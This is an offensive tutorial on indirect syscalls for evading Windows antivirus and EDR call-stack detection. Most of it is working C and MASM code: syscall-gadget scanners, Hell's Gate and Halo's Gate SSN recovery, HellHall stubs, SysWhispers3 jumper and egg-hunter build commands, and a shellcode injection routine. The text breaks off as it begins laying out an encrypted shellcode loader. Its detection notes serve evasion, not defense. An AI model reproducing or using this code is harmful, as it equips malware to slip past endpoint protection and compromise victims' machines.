The definitive deep-dive into indirect syscall techniques — the evolution beyond direct syscalls for bypassing modern AV/EDR call-stack-aware detection on Windows.
Legend:
[DETECT]= Detection vector |[OPSEC]= Operational Security note |[EDR]= EDR hook behavior |[WIN]= Windows internals concept |[TOOL]= Tool reference |[ASM]= Assembly required |[C]= C code |[CS]= C# / .NET |[PS]= PowerShell |[IOC]= Indicator of Compromise |[NEW]= Post-2023 technique
1. Why Indirect Syscalls — The Problem with Direct Syscalls
Direct syscalls let you bypass EDR inline hooks on ntdll.dll by embedding the syscall instruction directly in your code. But modern EDRs evolved past hook-checking alone — they now inspect the call stack at the moment a syscall fires.
The Direct Syscall Problem
When your loader contains a direct syscall stub like:
; Your direct syscall stub — inside your .exe memory
MyNtAllocateVirtualMemory:
mov r10, rcx
mov eax, 0x18 ; SSN for NtAllocateVirtualMemory
syscall ; ← THIS executes inside YOUR memory (anonymous RWX region)
ret
The EDR looks at where syscall was called from. The return address on the stack points back into your .exe or an anonymous RWX memory region. This is a massive [IOC].
Detection Surface: Direct vs. Indirect vs. Normal
─────────────────────────────────────────────────────────────────────────
NORMAL API CALL (ntdll unhooked):
Your Loader → VirtualAlloc() [kernel32.dll]
→ NtAllocateVirtualMemory() [ntdll.dll] ← EDR hook HERE
→ syscall [inside ntdll] → kernel
CALL STACK (seen by EDR during syscall):
ntdll!NtAllocateVirtualMemory+0x0c ← ntdll is top of stack (NORMAL)
KernelBase!VirtualAlloc+0x4b
YourLoader!main+0x1a
─────────────────────────────────────────────────────────────────────────
DIRECT SYSCALL (bypass hooks, but anomalous stack):
Your Loader → CustomStub [in .exe RWX memory]
→ syscall [inside YOUR memory] → kernel
CALL STACK (seen by EDR during syscall):
YourLoader!CustomStub+0x9 ← .exe AT TOP → RED FLAG [IOC]
YourLoader!main+0x3a
─────────────────────────────────────────────────────────────────────────
INDIRECT SYSCALL (bypass hooks AND clean stack):
Your Loader → CustomStub [in .exe]
→ JMP to ntdll!NtAllocateVirtualMemory+0xc ← jumps INTO ntdll
→ syscall [inside ntdll] → kernel
CALL STACK (seen by EDR during syscall):
ntdll!NtAllocateVirtualMemory+0x0c ← ntdll is top (LOOKS LEGITIMATE)
YourLoader!main+0x3a
─────────────────────────────────────────────────────────────────────────
Comparison Table
| Technique | Hook Bypass | Stack Origin | Return Address | Detected by Stack Analysis |
|---|---|---|---|---|
| Normal Win32 API | ❌ Hooked | ntdll | ntdll | ✅ Legitimate |
| Direct Syscall | ✅ Bypasses hook | Your .exe | Your .exe | ⚠️ Detected (anomalous) |
| Indirect Syscall | ✅ Bypasses hook | ntdll | ntdll | ✅ Appears legitimate |
| Indirect + Stack Spoof | ✅ Bypasses hook | Fake frames | Fake ntdll/kernel32 | ✅ Highly convincing |
[OPSEC]Kernel callbacks (PsSetCreateProcessNotifyRoutine,ObRegisterCallbacks) still fire regardless of direct or indirect syscalls. ETW-Ti in STACKWALK mode (Windows 10+ with modern EDR) can still catch anomalies. Indirect syscalls defeat userland hook checks and basic return address inspection, but are not a magic bullet.
2. How EDRs Detect Direct Syscalls — The Call Stack Problem
2.1 Userland Return Address Check
When an EDR hooks NtAllocateVirtualMemory, part of its hook logic checks where the call came from:
// What EDR hook code conceptually does:
NTSTATUS HookedNtAllocateVirtualMemory(...) {
// Get the return address — where will execution go AFTER this call?
void* returnAddr = _ReturnAddress();
// Is this return address inside a known, signed module?
if (!IsAddressInSignedModule(returnAddr)) {
// Address is in anonymous memory / your .exe — SUSPICIOUS
Log("Suspicious syscall from: %p", returnAddr);
// Block or alert
}
// Call the real function
return RealNtAllocateVirtualMemory(...);
}
With direct syscalls, you bypass the hook entirely — so this check never runs. BUT the EDR can also use ETW events and kernel-mode stack walking that capture the call stack AFTER the syscall returns, even without an active hook.
2.2 ETW-Ti Stack Walking
Windows provides EtwTi (ETW Threat Intelligence) that captures syscall events at the kernel level. With STACKWALK mode enabled, the kernel records the usermode call stack at the time of each syscall. This happens after the syscall instruction, not through userland hooks.
[WIN] ETW-Ti can capture:
- Which process made the syscall
- The FULL user-mode call stack at the time of syscall
- The memory region the syscall originated from
- The RIP (instruction pointer) at the time of syscall
[DETECT]Ifsyscallfires from memory not backed by a signed PE (e.g., RWX shellcode pages, your .exe), ETW-Ti flags it. This is what indirect syscalls solve.
2.3 The Specific IOCs of Direct Syscalls
IOC 1: syscall instruction in non-ntdll memory
─ EDR sees syscall originating from your RWX page or .exe section
─ No legitimate Windows program ever calls syscall directly
IOC 2: Return address points to unknown memory
─ After syscall, RET goes back into your stub
─ That address isn't in any signed module
IOC 3: No ntdll frame at top of call stack
─ Legitimate calls always show ntdll!NtXxx at the top
─ Direct syscalls skip ntdll entirely, so it's absent
IOC 4: syscall stub pattern in memory (scanner detection)
─ Strings of bytes: 4C 8B D1 B8 ?? 00 00 00 0F 05
─ Memory scanners can find this pattern in your code
3. Indirect Syscall Core Concept — Borrowing ntdll's syscall Instruction
The key insight: you don't need to execute syscall from your own memory. You can set up all the arguments and the SSN, then jump into ntdll right before the syscall instruction. ntdll executes syscall on your behalf, so from the EDR's perspective, ntdll is the origin.
The Anatomy of an ntdll Syscall Stub
Every Nt* function in ntdll follows this exact pattern:
; NtAllocateVirtualMemory in ntdll.dll (unhooked)
; Bytes: 4C 8B D1 B8 18 00 00 00 0F 05 C3
NtAllocateVirtualMemory:
+0x00: 4C 8B D1 mov r10, rcx ; Windows ABI: copy RCX to R10
+0x03: B8 18 00 00 00 mov eax, 0x18 ; Load SSN into EAX
+0x08: 0F 05 syscall ; ← THE syscall INSTRUCTION (offset +8)
+0x0A: C3 ret ; Return to caller
For an indirect syscall, you want to jump to offset +0x08 — the syscall instruction itself. Then:
- You've already loaded the SSN into eax (your stub does this)
- You jump into ntdll at the syscall instruction
- The syscall fires from within ntdll memory
- The ret after syscall (at +0x0A) returns to YOUR code
- Stack shows ntdll at top → looks legitimate
Visual: What the Stack Looks Like
BEFORE JMP (inside your stub):
─────────────────────────────
RSP → [return address to YOUR loader]
RCX = arg1, RDX = arg2, R8 = arg3, R9 = arg4
RAX = 0x18 (SSN)
JMP to ntdll!NtAllocateVirtualMemory+0x8
─────────────────────────────
NOW EXECUTING: 0F 05 (syscall) ← inside ntdll memory
RSP → [return address to YOUR loader]
KERNEL EXECUTES SYSCALL
─────────────────────────────
RET at ntdll+0x0A executes
RSP → next frame in YOUR loader
CALL STACK AT MOMENT OF SYSCALL (what EDR sees):
─────────────────────────────
ntdll!NtAllocateVirtualMemory+0x8 ← TOP FRAME (looks normal!)
YourLoader!InjectPayload+0x3a ← Your code below
YourLoader!main+0x12
[WIN]Thesyscallinstruction flushes the return address to the kernel's KTHREAD. The usermode call stack captured during the syscall shows the frame that called INTO thesyscallinstruction — which isntdll!NtAllocateVirtualMemory+0x8in the indirect case.
4. Finding the syscall Gadget Address Inside ntdll
Before you can do indirect syscalls, you need to find the address of the syscall instruction (0F 05) inside ntdll. There are multiple approaches.
4.1 Method A — Scan from Function Start (Fixed Offset)
For unhooked functions, the syscall instruction is always at offset +0x8 from the function start:
// [C] Find syscall instruction at fixed offset (+0x8) from ntdll export
PVOID GetSyscallAddress(PCSTR functionName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PBYTE funcAddr = (PBYTE)GetProcAddress(hNtdll, functionName);
// In unhooked ntdll, syscall is always at offset +0x8
// Verify the bytes: 0F 05 = syscall
if (funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
return (PVOID)(funcAddr + 8);
}
// Function is hooked (starts with E9 JMP or CC INT3)
// Need to find syscall elsewhere — see Section 4.3 (Neighbor Scan)
return NULL;
}
4.2 Method B — Byte Pattern Scan of ntdll .text Section
Scan ntdll's entire .text section for syscall; ret gadgets (0F 05 C3):
// [C] Scan ntdll .text section for all syscall gadgets
// Returns first syscall;ret gadget found in ntdll
typedef struct _SYSCALL_GADGET {
PVOID Address;
BOOL Found;
} SYSCALL_GADGET, *PSYSCALL_GADGET;
PVOID FindSyscallGadgetInNtdll(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + pDos->e_lfanew);
// Find .text section
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSection->Name, ".text", 5) == 0) {
PBYTE start = (PBYTE)hNtdll + pSection->VirtualAddress;
DWORD size = pSection->Misc.VirtualSize;
// Scan for: 0F 05 C3 (syscall; ret)
for (DWORD j = 0; j < size - 2; j++) {
if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
return (PVOID)(start + j); // Address of the syscall instruction
}
}
}
pSection++;
}
return NULL;
}
4.3 Method C — Neighbor Function Scan (When Target is Hooked)
If your target function is hooked, scan adjacent Nt* functions to find their syscall address (they share the same ntdll .text section):
// [C] If NtXxx is hooked, walk to adjacent syscalls in ntdll
// Based on Hell's Gate neighbor scanning logic (Halo's Gate variant)
BOOL GetSyscallAddrFromNeighbor(
PBYTE hookedFunc,
PVOID *pSyscallAddr
) {
// Scan up to 32 adjacent functions
for (WORD i = 1; i < 32; i++) {
// Scan forward (+i stubs away)
// ntdll stubs are roughly 0x20 bytes each
PBYTE candidate = hookedFunc + (i * 0x20);
// Check if this neighbor is unhooked
if (candidate[0] == 0x4C && candidate[1] == 0x8B && candidate[2] == 0xD1 // mov r10, rcx
&& candidate[3] == 0xB8) // mov eax, ...
{
// Found unhooked neighbor
if (candidate[8] == 0x0F && candidate[9] == 0x05) {
*pSyscallAddr = (PVOID)(candidate + 8);
return TRUE;
}
}
// Scan backward (-i stubs away)
candidate = hookedFunc - (i * 0x20);
if (candidate[0] == 0x4C && candidate[1] == 0x8B && candidate[2] == 0xD1
&& candidate[3] == 0xB8)
{
if (candidate[8] == 0x0F && candidate[9] == 0x05) {
*pSyscallAddr = (PVOID)(candidate + 8);
return TRUE;
}
}
}
return FALSE;
}
[OPSEC]All three methods give you the same type of address — a pointer to0F 05bytes inside ntdll. Any of them work as the JMP target. The neighbor scan is most robust because it handles hooked functions.
5. Writing the Indirect Syscall Stub (MASM Assembly)
This is the core of indirect syscalls. The stub sets up the calling convention, loads the SSN, and then jumps into ntdll instead of executing syscall itself.
5.1 Global Variables for the Stub
The MASM stub reads two globals that your C code fills in at runtime:
// [C] Header (syscalls.h) — globals that bridge C → MASM
extern DWORD dwSSN; // Syscall Service Number to use
extern PVOID pSyscallAddr; // Address of syscall instruction in ntdll
// Functions declared in MASM (syscalls.asm)
extern VOID PrepSyscall(DWORD ssn, PVOID syscallInstr);
extern NTSTATUS IndirectSyscall(...);
5.2 The MASM Stub File (syscalls.asm)
; [ASM] syscalls.asm — Indirect Syscall MASM Implementation
; Compile with: ml64.exe /c syscalls.asm
.data
dwSSN DWORD 0 ; Will be set by C code before each syscall
pSyscallAddr QWORD 0 ; Address of syscall;ret gadget in ntdll
.code
; PrepSyscall(DWORD ssn, PVOID syscallInstrAddr)
; Called from C to set up SSN and syscall gadget address before invoking IndirectSyscall
PrepSyscall PROC
mov dwSSN, ecx ; Store SSN (1st arg = RCX)
mov pSyscallAddr, rdx ; Store syscall address (2nd arg = RDX)
ret
PrepSyscall ENDP
; IndirectSyscall — The actual indirect call
; Arguments are already in RCX, RDX, R8, R9, [RSP+28h], ...
; This stub DOES NOT execute syscall itself — it JMPs into ntdll
IndirectSyscall PROC
mov r10, rcx ; Windows x64 calling convention requires this
mov eax, dwSSN ; Load Syscall Service Number into EAX
jmp QWORD PTR [pSyscallAddr] ; JMP to syscall instruction inside ntdll
ret ; We never reach this — ntdll's ret returns instead
IndirectSyscall ENDP
END
[WIN]Afterjmpinto ntdll, thesyscallinstruction there uses the return address already on the stack (which is the address inside your C code that calledIndirectSyscall). ntdll'sretaftersyscallpops that address and returns to your code. The net result is transparent — as if ntdll made the syscall itself.
5.3 C Wrapper — Putting It Together
// [C] Full indirect syscall wrapper for NtAllocateVirtualMemory
#include <windows.h>
#include "syscalls.h" // Contains PrepSyscall, IndirectSyscall declarations
// Resolve SSN + syscall gadget at startup
typedef struct _INDIRECT_SYSCALL {
DWORD SSN;
PVOID SyscallAddr;
} INDIRECT_SYSCALL, *PINDIRECT_SYSCALL;
BOOL ResolveIndirectSyscall(PCSTR funcName, PINDIRECT_SYSCALL pResult) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
if (!funcAddr) return FALSE;
// Check if hooked (first bytes are JMP = E9, or INT3 = CC)
if (funcAddr[0] == 0x4C && funcAddr[3] == 0xB8) {
// Unhooked — read SSN from bytes 4-7
pResult->SSN = *(DWORD*)(funcAddr + 4);
// syscall is at offset +8
if (funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
pResult->SyscallAddr = (PVOID)(funcAddr + 8);
return TRUE;
}
}
// Hooked — use neighbor scan
return GetSyscallAddrFromNeighbor(funcAddr, &pResult->SyscallAddr);
}
// Usage: Indirect NtAllocateVirtualMemory
NTSTATUS IndirectNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
INDIRECT_SYSCALL sc = { 0 };
if (!ResolveIndirectSyscall("NtAllocateVirtualMemory", &sc)) {
return STATUS_UNSUCCESSFUL;
}
// Set up SSN and gadget address for the MASM stub
PrepSyscall(sc.SSN, sc.SyscallAddr);
// Call the MASM stub — it will JMP into ntdll's syscall
return (NTSTATUS)IndirectSyscall(
ProcessHandle,
BaseAddress,
ZeroBits,
RegionSize,
AllocationType,
Protect
);
}
5.4 Alternative: Inline Assembly (Clang / MinGW)
For compilers that support inline asm, you can avoid a separate .asm file:
// [C] Indirect syscall via inline assembly (Clang / GCC / MinGW compatible)
// No separate .asm file needed
NTSTATUS IndirectSyscallInline(
DWORD ssn,
PVOID syscallGadget,
HANDLE hProcess,
PVOID *pBaseAddr,
ULONG_PTR zeroBits,
PSIZE_T regionSize,
ULONG allocType,
ULONG protect
) {
NTSTATUS status = 0;
__asm__ __volatile__ (
"mov r10, rcx\n\t" // Windows ABI
"mov eax, %[ssn]\n\t" // SSN
"jmp %[gadget]\n\t" // Jump into ntdll
: "=a"(status)
: [ssn]"r"(ssn),
[gadget]"r"(syscallGadget),
"c"(hProcess),
"d"(pBaseAddr)
: "r10", "r8", "r9"
);
return status;
}
[OPSEC]The inline asm approach is simpler but less portable. MASM.asmstub works with MSVC and gives you cleaner separation of the stub logic.
6. HellHall — Indirect Syscalls + Hell's Gate Combined
HellHall is the canonical combined technique from MaldevAcademy (Jan 2023) that pairs Hell's Gate dynamic SSN resolution with indirect syscall execution. It is one of the most referenced open-source implementations.
- GitHub:
github.com/Maldev-Academy/HellHall - Language: C + MASM
- Key feature: Dynamically resolves SSN (no hardcoding) + jumps to ntdll gadget
6.1 Hell's Gate SSN Resolution (Recap)
// [C] Hell's Gate: dynamically read SSN from ntdll stub bytes
BOOL GetSSN_HellsGate(PCSTR funcName, PDWORD pSSN) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
if (!funcAddr) return FALSE;
// Unhooked: check for mov r10,rcx (4C 8B D1) then mov eax,SSN (B8 xx 00 00 00)
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
&& funcAddr[3] == 0xB8)
{
// SSN is bytes 4-7
*pSSN = *(DWORD*)(funcAddr + 4);
return TRUE;
}
// Hooked: first bytes are E9 (JMP) or CC (INT3) — need Halo's Gate recovery
return FALSE;
}
6.2 HellHall MASM Stub
The HellHall MASM stub is the "magic" — SSN and gadget address are stored as globals, and the stub JMPs to ntdll:
; [ASM] HellHall/AsmHell.asm — the actual HellHall stub
; Source: github.com/Maldev-Academy/HellHall
.data
dwSSN DWORD 0
qAddr QWORD 0 ; Address of syscall instruction inside ntdll
.code
; void PrepareSyscall(DWORD SSN, PVOID SyscallInstructionAddr)
PrepareSyscall PROC
mov dwSSN, ecx
mov qAddr, rdx
ret
PrepareSyscall ENDP
; HellHall — the indirect syscall stub
HellHall PROC
mov r10, rcx
mov eax, dwSSN
jmp QWORD PTR [qAddr] ; Jump to syscall;ret inside ntdll
HellHall ENDP
END
6.3 Full HellHall Usage Flow
// [C] Complete HellHall flow for NtAllocateVirtualMemory
typedef struct _SYSCALL_ENTRY {
DWORD SSN;
PVOID SyscallInstrAddr;
BOOL Ready;
} SYSCALL_ENTRY;
// Resolve a single syscall entry using HellHall approach
BOOL InitSyscallEntry(PCSTR funcName, PSYSCALL_ENTRY entry) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
// Check if unhooked
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
&& funcAddr[3] == 0xB8 && funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
entry->SSN = *(DWORD*)(funcAddr + 4);
entry->SyscallInstrAddr = (PVOID)(funcAddr + 8);
entry->Ready = TRUE;
return TRUE;
}
// Hooked scenario: use neighbor scan for both SSN and syscall address
for (WORD i = 1; i < 32; i++) {
// Check higher neighbor
PBYTE up = funcAddr + (i * 0x20);
if (up[0] == 0x4C && up[3] == 0xB8 && up[8] == 0x0F && up[9] == 0x05) {
// SSN of neighbor is (target SSN) = neighbor SSN - i
entry->SSN = *(DWORD*)(up + 4) - i;
entry->SyscallInstrAddr = (PVOID)(up + 8);
entry->Ready = TRUE;
return TRUE;
}
// Check lower neighbor
PBYTE down = funcAddr - (i * 0x20);
if (down[0] == 0x4C && down[3] == 0xB8 && down[8] == 0x0F && down[9] == 0x05) {
entry->SSN = *(DWORD*)(down + 4) + i;
entry->SyscallInstrAddr = (PVOID)(down + 8);
entry->Ready = TRUE;
return TRUE;
}
}
return FALSE;
}
// Allocate shellcode memory using HellHall indirect syscall
PVOID AllocateShellcodeMemory(SIZE_T size) {
SYSCALL_ENTRY sc = { 0 };
if (!InitSyscallEntry("NtAllocateVirtualMemory", &sc))
return NULL;
// Set up for MASM stub
PrepareSyscall(sc.SSN, sc.SyscallInstrAddr);
PVOID base = NULL;
SIZE_T rSize = size;
HANDLE hProc = (HANDLE)-1; // Current process
// Call MASM stub — it JMPs into ntdll
NTSTATUS status = HellHall(
hProc,
&base,
0,
&rSize,
MEM_COMMIT | MEM_RESERVE, // 0x3000
PAGE_READWRITE // 0x04 — RW first, not RWX
);
if (!NT_SUCCESS(status)) return NULL;
return base;
}
6.4 Build Instructions (MSVC + MASM)
# [TOOL] Build HellHall with MASM on Windows
# 1. Compile MASM stub
ml64.exe /c AsmHell.asm /Fo AsmHell.obj
# 2. Compile C code
cl.exe /c main.c hellhall.c /Fo main.obj hellhall.obj
# 3. Link together
link.exe /OUT:loader.exe main.obj hellhall.obj AsmHell.obj /SUBSYSTEM:CONSOLE
# Via Visual Studio: Add .asm file to project, set build customization to MASM (ml64)
7. SysWhispers3 — Jumper Mode (Automated Indirect Syscalls)
SysWhispers3 extends SysWhispers2 with a --method jumper option that generates indirect syscall stubs automatically. Instead of embedding a syscall instruction, the generated stub locates and JMPs into ntdll's syscall instruction at runtime.
7.1 Generating Jumper Mode Stubs
# [TOOL] SysWhispers3 — Jumper mode (indirect syscalls)
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
# Generate indirect syscall stubs (MSVC x64)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output indirect_sc \
--arch x64 \
--compiler msvc \
--method jumper
# Outputs:
# indirect_sc.h ← Type definitions and function prototypes
# indirect_sc.c ← SSN resolution and gadget address logic
# indirect_sc-asm.x64.asm ← MASM stub with JMP → ntdll
# Generate for MinGW (cross-compile from Linux)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output indirect_sc_mingw \
--arch x64 \
--compiler mingw \
--method jumper
# Outputs:
# indirect_sc_mingw.h
# indirect_sc_mingw.c
# indirect_sc_mingw-asm.x64.s ← GAS assembly (inline or separate)
# Randomized jumper — picks a random ntdll gadget each call (harder to pattern-match)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output indirect_rand \
--method jumper_randomized
# Using preset (common NT functions)
python syswhispers.py --preset common --output sc_common --method jumper
7.2 What the Generated Jumper Stub Looks Like
; [ASM] SysWhispers3 jumper mode generated stub (simplified)
; indirect_sc-asm.x64.asm
.code
NtAllocateVirtualMemory PROC
mov [rsp + 8], rcx ; Save arguments to shadow space
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 28h ; Allocate shadow space
mov ecx, 0C0DB1012h ; Function hash (not the actual name)
call SW3_GetSyscallNumber ; Resolve SSN dynamically
add rsp, 28h
mov r15, rax ; Save SSN in R15
mov ecx, 0C0DB1012h
call SW3_GetSyscallAddress ; Get address of syscall;ret in ntdll
mov r11, rax ; R11 = syscall gadget address
; Restore arguments
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
mov eax, r15d ; Load SSN
jmp r11 ; ← JMP into ntdll syscall gadget
NtAllocateVirtualMemory ENDP
END
7.3 Integrating Into Visual Studio
1. Copy generated files (indirect_sc.h, indirect_sc.c, indirect_sc-asm.x64.asm)
into your Visual Studio project directory
2. In Project → Build Customizations → Enable "masm(.targets, .props)"
3. In Solution Explorer → Add Existing Item → add the .asm file
4. Right-click .asm file → Properties
→ General → Item Type: "Microsoft Macro Assembler"
5. In your C code:
#include "indirect_sc.h"
6. Call functions directly:
NtAllocateVirtualMemory(hProc, &base, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// No hook — jumps into ntdll syscall transparently
7.4 Integrating With MinGW (Linux Cross-Compile)
# [TOOL] Cross-compile indirect syscall loader from Linux
# Generate MinGW stubs
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output sc \
--compiler mingw \
--method jumper
# Compile
x86_64-w64-mingw32-gcc \
loader.c sc.c sc-asm.x64.s \
-o loader.exe \
-masm=intel \
-Wall -s \
-lntdll
# Strip debug symbols
x86_64-w64-mingw32-strip loader.exe
8. SysWhispers3 — Egg Hunter Mode (Obfuscated Indirect Syscalls)
Egg Hunter mode goes further — it replaces the syscall instruction in the stubs with a random 8-byte marker (the "egg"). At runtime, a separate routine scans memory for the egg and patches it with the real syscall instruction. This defeats memory scanners looking for 0F 05 in your code.
8.1 Generate Egg Hunter Stubs
# [TOOL] SysWhispers3 — Egg Hunter mode
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output sc_egg \
--method egg_hunter \
--arch x64 \
--compiler msvc
# The generated stubs contain a random 8-byte marker instead of 0F 05
# Example stub:
# mov eax, SSN
# DB 0xDE 0xAD 0xBE 0xEF 0xDE 0xAD 0xBE 0xEF ← random egg (no 0F 05)
# ret
8.2 Egg Replacement Logic
// [C] EggHunter runtime — replaces egg marker with actual syscall;ret before use
#define EGG_MARKER "\xDE\xAD\xBE\xEF\xDE\xAD\xBE\xEF" // 8-byte egg
BOOL PatchEggWithSyscall(PVOID stubAddr, SIZE_T stubSize) {
BYTE syscallRet[] = { 0x0F, 0x05, 0xC3 }; // syscall; ret
for (SIZE_T i = 0; i < stubSize - 8; i++) {
if (memcmp((PBYTE)stubAddr + i, EGG_MARKER, 8) == 0) {
// Make stub writable
DWORD oldProt = 0;
VirtualProtect((PBYTE)stubAddr + i, 8, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch: replace egg with 0F 05 C3 + padding
memcpy((PBYTE)stubAddr + i, syscallRet, 3);
memset((PBYTE)stubAddr + i + 3, 0x90, 5); // NOP padding
// Restore protection
VirtualProtect((PBYTE)stubAddr + i, 8, oldProt, &oldProt);
return TRUE;
}
}
return FALSE;
}
[OPSEC]The Egg Hunter approach prevents static signature detection of0F 05in your binary on disk. Combined withjumpermode, nosyscallbyte exists in your code at rest OR at call time (the actualsyscallfires from ntdll). It's layered evasion.
9. Halos Gate + Indirect Syscalls (Hooked Function Recovery)
When the ntdll function you need is hooked (first bytes replaced with JMP), you can't read the SSN directly. Halo's Gate scans adjacent functions to reconstruct the SSN, then pairs with indirect syscall for execution.
9.1 Halo's Gate SSN Recovery Logic
// [C] Halo's Gate — recover SSN when target function is hooked
typedef struct _HALO_SYSCALL {
DWORD SSN;
PVOID SyscallAddr;
BOOL Recovered;
} HALO_SYSCALL, *PHALO_SYSCALL;
BOOL HalosGate_GetSyscall(PCSTR funcName, PHALO_SYSCALL pSc) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE funcAddr = (PBYTE)GetProcAddress(ntdll, funcName);
if (!funcAddr) return FALSE;
// Case 1: Unhooked — straightforward
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1
&& funcAddr[3] == 0xB8 && funcAddr[8] == 0x0F && funcAddr[9] == 0x05) {
pSc->SSN = *(DWORD*)(funcAddr + 4);
pSc->SyscallAddr = (PVOID)(funcAddr + 8);
pSc->Recovered = FALSE;
return TRUE;
}
// Case 2: Hooked (E9 JMP or CC INT3 at start)
if (funcAddr[0] == 0xE9 || funcAddr[0] == 0xCC) {
// Scan adjacent Nt* stubs
for (WORD i = 1; i <= 32; i++) {
// Scan up (+i away, SSN will be targetSSN - i)
PBYTE up = funcAddr + (i * 0x20);
if (up[0] == 0x4C && up[1] == 0x8B && up[2] == 0xD1
&& up[3] == 0xB8 && up[8] == 0x0F && up[9] == 0x05) {
pSc->SSN = *(DWORD*)(up + 4) - i;
pSc->SyscallAddr = (PVOID)(up + 8); // Use neighbor's syscall addr
pSc->Recovered = TRUE;
return TRUE;
}
// Scan down (-i away, SSN will be targetSSN + i)
PBYTE down = funcAddr - (i * 0x20);
if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1
&& down[3] == 0xB8 && down[8] == 0x0F && down[9] == 0x05) {
pSc->SSN = *(DWORD*)(down + 4) + i;
pSc->SyscallAddr = (PVOID)(down + 8);
pSc->Recovered = TRUE;
return TRUE;
}
}
}
return FALSE; // Could not recover
}
9.2 Full Halo's Gate + Indirect Syscall Example
// [C] Inject shellcode using Halo's Gate + Indirect Syscalls
// Works even when EDR has hooked ntdll functions
#include "hellhall.h" // HellHall MASM stub (Section 6)
BOOL InjectShellcode(PBYTE shellcode, SIZE_T shellcodeSize) {
HALO_SYSCALL scAlloc = { 0 };
HALO_SYSCALL scWrite = { 0 };
HALO_SYSCALL scProt = { 0 };
HALO_SYSCALL scThread = { 0 };
// Resolve all required syscalls (Halo's Gate recovers if hooked)
if (!HalosGate_GetSyscall("NtAllocateVirtualMemory", &scAlloc)) return FALSE;
if (!HalosGate_GetSyscall("NtWriteVirtualMemory", &scWrite)) return FALSE;
if (!HalosGate_GetSyscall("NtProtectVirtualMemory", &scProt)) return FALSE;
if (!HalosGate_GetSyscall("NtCreateThreadEx", &scThread)) return FALSE;
printf("[*] NtAllocateVirtualMemory SSN: 0x%02X (recovered: %s)\n",
scAlloc.SSN, scAlloc.Recovered ? "YES" : "NO");
PVOID base = NULL;
SIZE_T rSize = shellcodeSize;
HANDLE hProc = (HANDLE)-1;
HANDLE hThread = NULL;
NTSTATUS status;
// Step 1: Allocate RW memory (indirect syscall)
PrepareSyscall(scAlloc.SSN, scAlloc.SyscallAddr);
status = HellHall(hProc, &base, 0, &rSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) { printf("[-] Alloc failed: 0x%08X\n", status); return FALSE; }
printf("[+] Allocated at: %p\n", base);
// Step 2: Write shellcode (indirect syscall)
SIZE_T bytesWritten = 0;
PrepareSyscall(scWrite.SSN, scWrite.SyscallAddr);
status = HellHall(hProc, base, shellcode, shellcodeSize, &bytesWritten);
if (!NT_SUCCESS(status)) { printf("[-] Write failed: 0x%08X\n", status); return FALSE; }
printf("[+] Wrote %zu bytes\n", bytesWritten);
// Step 3: Change to RX (no RWX!) (indirect syscall)
DWORD oldProt = 0;
SIZE_T protSize = shellcodeSize;
PrepareSyscall(scProt.SSN, scProt.SyscallAddr);
status = HellHall(hProc, &base, &protSize, PAGE_EXECUTE_READ, &oldProt);
if (!NT_SUCCESS(status)) { printf("[-] Protect failed: 0x%08X\n", status); return FALSE; }
printf("[+] Changed to RX\n");
// Step 4: Create execution thread (indirect syscall)
PrepareSyscall(scThread.SSN, scThread.SyscallAddr);
status = HellHall(
&hThread, // ThreadHandle
THREAD_ALL_ACCESS, // DesiredAccess
NULL, // ObjectAttributes
hProc, // ProcessHandle
(PVOID)base, // StartRoutine
NULL, // Argument
FALSE, // CreateSuspended
0, 0, 0, NULL // Remaining args
);
if (!NT_SUCCESS(status)) { printf("[-] Thread failed: 0x%08X\n", status); return FALSE; }
printf("[+] Thread created: %p\n", hThread);
return TRUE;
}
10. Complete Indirect Syscall Shellcode Loader (C + MASM)
Full, production-quality loader combining: AES-encrypted shellcode + Halo's Gate + indirect syscalls via HellHall.
10.1 Project Structure
IndirectLoader/
├── loader.c ← Main loader logic
├── hellhall.h ← HellHall declarations
├── hellhall.c ← Halo's Gate SSN + gadget resolution
├── AsmHell.asm ← MASM indirect syscall stub
